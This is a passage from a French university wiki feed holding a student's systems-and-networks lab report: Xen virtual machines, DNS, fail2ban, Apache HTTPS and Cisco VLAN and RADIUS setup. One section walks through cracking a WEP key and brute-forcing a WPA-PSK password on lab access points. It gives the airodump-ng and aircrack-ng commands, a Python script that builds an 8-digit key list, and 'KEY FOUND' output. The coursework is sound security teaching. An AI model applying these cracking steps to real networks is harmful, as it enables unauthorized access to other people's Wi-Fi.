ns.deadpool.tech&lt;br /&gt;
193.48.57.169 // adresse IPv4 de la mandataire&lt;br /&gt;
2001:660:4401:60a0:216:3eff:fefa:18d0 // adresse IPv6 de la machine de service&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ajout de external nameserver pour chacun des deux noms de domaine&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ns.deadpool.tech	// nom de domaine&lt;br /&gt;
ns.dardevil.tech	// l&#039;autre nom de domaine&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour tester depuis l&#039;extérieur&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Fail2ban ==&lt;br /&gt;
Il faut commencer par installer fail2ban&lt;br /&gt;
&lt;br /&gt;
Ensuite il faut créer un fichier &amp;lt;code&amp;gt;jail.local&amp;lt;/code&amp;gt; dans le dossier &amp;lt;code&amp;gt;/etc/fail2ban&amp;lt;/code&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
[sshd] &lt;br /&gt;
enable = true&lt;br /&gt;
port = ssh&lt;br /&gt;
filter = sshd&lt;br /&gt;
maxretry = 5&lt;br /&gt;
findtime = 300&lt;br /&gt;
bantime = 600&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour éviter un warning sur allowipv6 il faut décommenter les lignes suivantes dans &amp;lt;code&amp;gt;fail2ban.conf&amp;lt;/code&amp;gt; (ligne 58 à 62)&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
Option: allowipv6&lt;br /&gt;
Notes.: Allows IPv6 interface:&lt;br /&gt;
         Default: auto&lt;br /&gt;
Values: [ auto yes (on, true, 1) no (off, false, 0) ] Default: auto&lt;br /&gt;
allowipv6 = auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Enfin pour &#039;&#039;&#039;lancer le service&#039;&#039;&#039; il faut rentrer la commande suivante :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service fail2ban restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== HTTPS ==&lt;br /&gt;
Dans le dossier &amp;lt;code&amp;gt;/etc/apache2/sites-available&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On met la clef &#039;&#039;&#039;deadpool.tech.key&#039;&#039;&#039; et les certificats &#039;&#039;&#039;GandiCert.pem&#039;&#039;&#039; et &#039;&#039;&#039;deadpool.tech.crt&#039;&#039;&#039; (tout a été trouvé sur Gandi)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
        ServerName deadpool.tech&lt;br /&gt;
        ServerAlias www.deadpool.tech&lt;br /&gt;
        Redirect permanent / https://deadpool.tech/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
        ServerAdmin webmaster@localhost&lt;br /&gt;
&lt;br /&gt;
        DocumentRoot /var/www/html&lt;br /&gt;
        &lt;br /&gt;
        ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
        CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
        &lt;br /&gt;
        SSLEngine on&lt;br /&gt;
        &lt;br /&gt;
        SSLCertificateFile      /etc/apache2/sites-available/deadpool.tech.crt&lt;br /&gt;
        SSLCertificateKeyFile   /etc/apache2/sites-available/deadpool.tech.key&lt;br /&gt;
        SSLCertificateChainFile /etc/apache2/sites-available/GandiCert.pem&lt;br /&gt;
        &lt;br /&gt;
        &amp;lt;FilesMatch &amp;quot;\.(?:cgi|shtml|phtml|php)$&amp;quot;&amp;gt;&lt;br /&gt;
                SSLOptions +StdEnvVars&lt;br /&gt;
        &amp;lt;/FilesMatch&amp;gt;&lt;br /&gt;
        &amp;lt;Directory /usr/lib/cgi-bin&amp;gt;&lt;br /&gt;
                SSLOptions +StdEnvVars&lt;br /&gt;
        &amp;lt;/Directory&amp;gt;&lt;br /&gt;
        &lt;br /&gt;
    &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
On entre ensuite les commande suivantes :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
a2enmod ssl&lt;br /&gt;
service apache restart&lt;br /&gt;
a2ensite default-ssl.conf&lt;br /&gt;
service apache2 reload&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Effraction WIFI ==&lt;br /&gt;
&lt;br /&gt;
=== Cassage de clef WEP d’un point d’accès WiFi ===&lt;br /&gt;
&#039;&#039;&#039;/!\&#039;&#039;&#039; Dans notre cas la carte réseau de notre zabeth ne fonctionnait plus (ce cas est courant).&lt;br /&gt;
&lt;br /&gt;
Mr Redon nous a donc fournit une &#039;&#039;&#039;clé USB Wifi&#039;&#039;&#039; pour pouvoir travailler. &lt;br /&gt;
&lt;br /&gt;
De plus les cracotte s&#039;arrête au 13 donc je dois prendre la &#039;&#039;&#039;cracotte02&#039;&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
La commande suivante permet de d&#039;&#039;&#039;&#039;identifier l&#039;interface WIFI&#039;&#039;&#039; qui nous intéresse :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ip link&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ici l&#039;interface qui nous intéresse est wlx40a5efd21410. Donc nous pouvons lancer la commande suivante afin d&#039;&amp;lt;nowiki/&amp;gt;&#039;&#039;&#039;identifier l&#039;adresse IP de notre cracotte02&#039;&#039;&#039;.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlx40a5efd21410&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Dans la liste nous avons en effet la cracotte02 sur le channel 4 et l&#039;adresse ip suivante :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
 04:DA:D2:9C:50:51  -62      231        0    0   4   54e. WEP  WEP         cracotte02&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin nous pouvons &#039;&#039;&#039;lancer le cassage&#039;&#039;&#039; de la clé avec cette commande :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlx40a5efd21410 --bssid 04:DA:D2:9C:50:51 -c4 --write log_airodump&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Le nombre de la section DATA doit augmenter asser vite (sinon il y a un problème) :&lt;br /&gt;
&lt;br /&gt;
Après un certain temps on peut entrer la commande suivante pour &#039;&#039;&#039;voir si la clé à été trouvée&#039;&#039;&#039; (le numéro, ici 5, dépend du nombre de fois ou la commande précédente a été lancé) :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
aircrack-ng log_airodump-05.cap&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Le résultat suivant est le bon on a un &#039;&#039;&#039;KEY FOUND&#039;&#039;&#039; !!&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
                                                                                                 Aircrack-ng 1.7&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
                                                                                   [00:00:00] Tested 808 keys (got 54157 IVs)&lt;br /&gt;
&lt;br /&gt;
   KB    depth   byte(vote)&lt;br /&gt;
    0    0/ 13   FF(75008) AF(66048) C6(65536) A6(62464) E3(61952) 20(61696) EC(61696) E8(61440) 13(61184) 30(61184) F3(61184) FD(60928) F1(60672) 27(60416) 41(60416) 5D(60416) 8D(60416)&lt;br /&gt;
    1    0/  1   01(81152) 78(64256) 13(63232) AC(63232) E6(62720) 48(61952) 91(61952) 92(61696) AB(61696) 74(61440) 56(61184) A8(61184) 4A(60928) C9(60928) 17(60672) 35(60416) F2(60416)&lt;br /&gt;
    2    9/  2   D2(60416) D5(60160) DF(60160) 44(59904) 7A(59904) 99(59904) AD(59904) 15(59648) 2A(59648) 31(59648) 67(59648) E6(59648) 0D(59392) 16(59392) 7E(59392) DC(59392) 5B(59136)&lt;br /&gt;
    3    0/  1   08(79360) 1D(63744) 7D(61952) 1B(61184) CB(60928) A3(60672) 85(60160) 58(59904) AC(59904) 11(59648) 53(59648) 9C(59648) EA(59648) 81(59392) 84(59392) AA(59392) B1(59392)&lt;br /&gt;
    4    8/  4   9A(61440) 22(61184) DB(61184) D7(60928) 48(60672) 88(60672) 36(60416) 14(59904) 57(59904) 5C(59904) 8D(59904) CF(59904) 04(59136) 20(58880) 39(58880) B4(58880) D5(58880)&lt;br /&gt;
&lt;br /&gt;
             KEY FOUND! [ FF:FF:FF:FF:FA:BC:03:CB:AE:EE:EE:EE:EE ]&lt;br /&gt;
        Decrypted correctly: 100%&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Cassage de mot de passe WPA-PSK par force brute ===&lt;br /&gt;
On s&#039;intéresse maintenant à la &#039;&#039;&#039;kracotte02&#039;&#039;&#039; (information trouvable par la commande de la section précédente) :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
44:AD:D9:5F:87:01  -47        5        0    0  13   54e. WPA2 CCMP   PSK  kracotte02&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour forcer ce mot de passe par force brut nous créons via un &#039;&#039;&#039;fichier Python&#039;&#039;&#039; un dictionnaire contenant &#039;&#039;&#039;toutes les possibilités sur 8 chiffres&#039;&#039;&#039;. Le contenu de ce fichier est le suivant :&amp;lt;syntaxhighlight lang=&amp;quot;python3&amp;quot;&amp;gt;&lt;br /&gt;
with open(&amp;quot;dictionnaire_8_chiffres.txt&amp;quot;, &amp;quot;w&amp;quot;) as f:&lt;br /&gt;
    for i in range(100000000):&lt;br /&gt;
        f.write(f&amp;quot;{i:08d}\n&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Lancer ce programme afin de créer le fichier dictionnaire_8_chiffres.txt.&lt;br /&gt;
&lt;br /&gt;
La commande suivante est nécessaire pour que aircrack-ng utilise notre dictionnaire :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo aircrack-ng -w dictionnaire_8_chiffres.txt -b 44:AD:D9:5F:87:01&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Nous pouvons enfin &#039;&#039;&#039;lancer le cassage du mot de passe&#039;&#039;&#039; par force brute via cette commande :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlx40a5efd21410 --write airodumpWPA --bssid 44:AD:D9:5F:87:01 -c13&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;La commande ci-dessous permet de &#039;&#039;&#039;savoir si le mot de passe à été trouvé&#039;&#039;&#039; (/!\ cela peut prendre du temps selon la valeur de la clé, dans notre cas plus de 30min) :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo aircrack-ng -w dictionnaire_8_chiffres.txt -b 44:AD:D9:5F:87:01 airodumpWPA-03.cap&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Nous avons le bon résultat un nouveau &#039;&#039;&#039;KEY FOUND&#039;&#039;&#039; !!&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
                               Aircrack-ng 1.7&lt;br /&gt;
&lt;br /&gt;
      [00:37:28] 66655552/100000000 keys tested (29360.85 k/s)&lt;br /&gt;
&lt;br /&gt;
      Time left: 18 minutes, 55 seconds                         66.66%&lt;br /&gt;
&lt;br /&gt;
                           KEY FOUND! [ 66688666 ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
      Master Key     : A4 3E 9E 85 7D D3 4E 0C 2C D4 D9 1C 4F 08 1A 0C&lt;br /&gt;
                       B4 BA B2 64 8C 24 38 C5 DD 27 81 8E CE 2C F4 CA&lt;br /&gt;
&lt;br /&gt;
      Transient Key  : AA 75 80 E5 F3 77 C2 00 00 00 00 00 00 00 00 00&lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;
&lt;br /&gt;
      EAPOL HMAC     : 97 42 1A DB B7 EE FB 19 C3 7C EA 9E 29 99 0A 4B&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Vlan ===&lt;br /&gt;
Depuis la machine batman on se ssh sur le routeur&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ssh -oKexAlgorithms=+diffie-hellman-group14-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Entrez ensuite les commandes suivantes pour le dhcp :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304&amp;gt;en&lt;br /&gt;
C9200-E304&amp;gt;configure&lt;br /&gt;
C9200-E304(config)#ip dhcp pool PoolAntonin&lt;br /&gt;
C9200-E304(dhcp-config)#network 10.60.14.0 255.255.255.0&lt;br /&gt;
C9200-E304(dhcp-config)#dns-server 193.48.57.169&lt;br /&gt;
C9200-E304(dhcp-config)#default-router 10.60.14.254&lt;br /&gt;
C9200-E304(dhcp-config)#exit&lt;br /&gt;
C9200-E304(config)#exit&lt;br /&gt;
C9200-E304&amp;gt;write&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin pour vérifier les commandes ont données ce que l&#039;on souhaite&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304#show running-config&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Création du Vlan24&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304&amp;gt;en&lt;br /&gt;
C9200-E304&amp;gt;configure&lt;br /&gt;
C9200-E304(config)#Vlan 24&lt;br /&gt;
C9200-E304(vlan-config)#name PoolAntonin&lt;br /&gt;
C9200-E304(vlan-config)#exit&lt;br /&gt;
C9200-E304(config)#exit&lt;br /&gt;
C9200-E304&amp;gt;write&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour VRRP on peut entrer les commandes suivantes&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304(config)#interface Vlan24&lt;br /&gt;
C9200-E304(config-if)#ip address 10.60.14.2 255.255.255.0&lt;br /&gt;
C9200-E304(config-if)#ipv6 address 2001:660:4401:60ae::2/64&lt;br /&gt;
C9200-E304(config-if)#vrrp 24 address-family ipv4&lt;br /&gt;
C9200-E304(config-if-vrrp)#priority 110&lt;br /&gt;
C9200-E304(config-if-vrrp)#address 10.60.14.1 primary&lt;br /&gt;
C9200-E304(config-if-vrrp)#exit-vrrp&lt;br /&gt;
C9200-E304(config-if)#end&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour se ssh sur le wifi&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.4&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
On entre ensuite ces commandes :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
conf t&lt;br /&gt;
&lt;br /&gt;
aaa new-model&lt;br /&gt;
aaa authentication login eap_student14 group radius_student14&lt;br /&gt;
radius-server host 192.168.69.3 auth-port 1812 acct-port 1813 key secret_student14        &lt;br /&gt;
aaa group server radius radius_student14                      &lt;br /&gt;
server 192.168.69.3 auth-port 1812 acct-port 1813        &lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
dot11 ssid VM_SERVICES_14&lt;br /&gt;
vlan 24         &lt;br /&gt;
authentication open eap eap_student14 &lt;br /&gt;
authentication network-eap eap_student14&lt;br /&gt;
authentication key-management wpa&lt;br /&gt;
mbssid guest-mode&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0&lt;br /&gt;
encryption vlan 24 mode ciphers aes-ccm                  &lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0.24&lt;br /&gt;
encapsulation dot1Q 24&lt;br /&gt;
bridge-group 24&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface GigabitEthernet0.24&lt;br /&gt;
encapsulation dot1Q 24&lt;br /&gt;
bridge-group 24&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0&lt;br /&gt;
ssid VM_SERVICES_14&lt;br /&gt;
exit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
2001:660:4401:60a0:216:3eff:fe19:f03c&lt;/div&gt;</summary>
		<author><name>Abiernac</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=12267</id>
		<title>Atelier SysRes SE4 2025/2026 E14</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=12267"/>
		<updated>2026-02-15T11:18:12Z</updated>

		<summary type="html">&lt;p&gt;Abiernac : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&#039;&#039;&#039;BIERNACKI Antonin&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
IOT 4&lt;br /&gt;
&lt;br /&gt;
2025-2026&lt;br /&gt;
&lt;br /&gt;
== Infos concernant notre binôme ==&lt;br /&gt;
Binôme : &#039;&#039;&#039;CHEKLAT Billel&#039;&#039;&#039; [[Atelier SysRes SE4 2025/2026 E13]]&lt;br /&gt;
&lt;br /&gt;
Mandataire : &#039;&#039;&#039;superman&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
IP publique de la mandataire : &#039;&#039;&#039;193.48.57.169&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Service 1 (Antonin) : &#039;&#039;&#039;batman&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Nom de domaine 1 (Antonin) : &#039;&#039;&#039;deadpool.tech&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Nom service 2 (Billel) : &#039;&#039;&#039;catwoman&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Nom de domaine 1 (Billel) : &#039;&#039;&#039;dardevil.tech&#039;&#039;&#039; (le e manquant dans daredevil est une pure volonté du binôme et un choix pratique et judicieux pour ce TP ;) )&lt;br /&gt;
&lt;br /&gt;
Bridge : &#039;&#039;&#039;pont_ironman&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Réseau IPv4 : &#039;&#039;&#039;192.168.69.0/24&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
== Introduction ==&lt;br /&gt;
&lt;br /&gt;
== Création du bridge ==&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_ironman&lt;br /&gt;
iface pont_ironman inet manual&lt;br /&gt;
        bridge_ports none&lt;br /&gt;
        up ip link set $IFACE up&lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ifup pont_ironman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Création des machines virtuelles ==&lt;br /&gt;
Nous avons &#039;&#039;&#039;créé nos trois machines&#039;&#039;&#039; sur le serveur capbreton via les commandes suivantes (nous avons mit la version excalibur de devuan sur la mandataire pour essayer) :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.batman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.catwoman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.superman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=excalibur --memory=2G&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ces commandes vous donnent un tableau récapitulatif avec un le &#039;&#039;&#039;root password&#039;&#039;&#039; qu&#039;il faut noter pour pouvoir vous connecter (ce mdp est retrouvable dans le .cfg de la machine). Si vous souhaitez changer le mdp de votre machine, veiller à mettre un mdp &#039;&#039;&#039;robuste&#039;&#039;&#039; car cette machine sera sur internet.&lt;br /&gt;
&lt;br /&gt;
xen create permet de &#039;&#039;&#039;démarrer les machines&#039;&#039;&#039; avec leur fichiers de configuration :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.catwoman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.superman.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;xen console permet d&#039;&amp;lt;nowiki/&amp;gt;&#039;&#039;&#039;accéder à la console de la machine virtuelle&#039;&#039;&#039; (pour quitter la console un exit suffit et pour quitter la saisie de connection &#039;&#039;&#039;Ctrl + Shift + 5&#039;&#039;&#039;) :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.batman&lt;br /&gt;
xen console SE4.catwoman&lt;br /&gt;
xen console SE4.superman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Configuration de la machine de services ==&lt;br /&gt;
&lt;br /&gt;
=== Montage des partitions /home et /var ===&lt;br /&gt;
&lt;br /&gt;
==== Sur capbreton ====&lt;br /&gt;
&lt;br /&gt;
Pour &#039;&#039;&#039;créer les partitions&#039;&#039;&#039; /home et /var on entre les deux commandes suivantes dans &amp;lt;code&amp;gt;/dev/virtual&amp;lt;/code&amp;gt; de capbreton :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -n SE4.batman.home -L 10G virtual&lt;br /&gt;
lvcreate -n SE4.batman.var -L 10G virtual&lt;br /&gt;
             &lt;br /&gt;
                &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ensuite on vient ajouter les lignes suivante dans &amp;lt;code&amp;gt;/etc/xen/batman.cfg&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
disk        = [&lt;br /&gt;
                  &#039;file:/usr/local/xen/domains/SE4.batman/disk.img,xvda2,w&#039;,&lt;br /&gt;
                  &#039;file:/usr/local/xen/domains/SE4.batman/swap.img,xvda1,w&#039;,&lt;br /&gt;
                  &#039;phy:/dev/virtual/SE4.batman.home,xvdb,w&#039;,&lt;br /&gt;
                  &#039;phy:/dev/virtual/SE4.batman.var,xvdc,w&#039;,&lt;br /&gt;
              ]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Sur la machine de service ====&lt;br /&gt;
&lt;br /&gt;
Pour &#039;&#039;&#039;formater et monter&#039;&#039;&#039; les partitions nous utilisons les commandes suivantes (&#039;&#039;&#039;/!\ pas dans capbreton&#039;&#039;&#039;) :&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvdb&lt;br /&gt;
mkfs -t ext4 /dev/xvdc&lt;br /&gt;
mount /dev/xvdb /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
mount -a&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ajouter ces lignes dans &amp;lt;code&amp;gt;/etc/fstab&amp;lt;/code&amp;gt; afin que les partitions soient &#039;&#039;&#039;montées de façon automatiques&#039;&#039;&#039; au démarrage de la VM :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvdb /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdc /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin vous pouvez &#039;&#039;&#039;redémarrer&#039;&#039;&#039; la VM sur capbreton : &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen shutdown SE4.batman&lt;br /&gt;
xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Configuration réseau ===&lt;br /&gt;
On modifie le fichier &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; comme suivant :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# IPv4&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.69.2/24 IPv4 de batman (service)&lt;br /&gt;
    gateway 192.168.69.1 IPv4 de superman (mandataire)&lt;br /&gt;
&lt;br /&gt;
# IPv6&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet6 auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Configuration de la machine mandataire ==&lt;br /&gt;
On modifie le fichier &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; comme suivant :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# IPv4&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.69.1/24 # IPv4 de superman (mandataire)&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
    address 193.48.57.169/27 # IPv4 publique de superman&lt;br /&gt;
    gateway 193.48.57.162&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On modifie le fichier &amp;lt;code&amp;gt;/etc/xen/SE4.batman.cfg&amp;lt;/code&amp;gt; sur capbreton&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
vif = [ &#039;mac=00:16:3E:FA:18:CF,bridge=pont_ironman&#039;, &#039;mac=00:16:3E:FA:18:D0,bridge=SE4&#039; ]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Une fois cela fait on peut &#039;&#039;&#039;redémarrer&#039;&#039;&#039; la VM avec les commandes précédentes. Ensuite sur batman on doit lancer l&#039;interface :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
reboot&lt;br /&gt;
ifdown eth1; ifup eth1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
== Configuration SSH et Mascarade ==&lt;br /&gt;
Ces commandes permettent de &#039;&#039;&#039;synchroniser l&#039;heure&#039;&#039;&#039; du système :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt update&lt;br /&gt;
apt install ntp ntpdate host&lt;br /&gt;
apt install ntpsec ntpsec-ntpdate host&lt;br /&gt;
date &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
La mascarade se configure avec &#039;&#039;&#039;iptables&#039;&#039;&#039;, et consiste à donne une adresse IPv4 qui permet d&#039;accéder à internet. &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
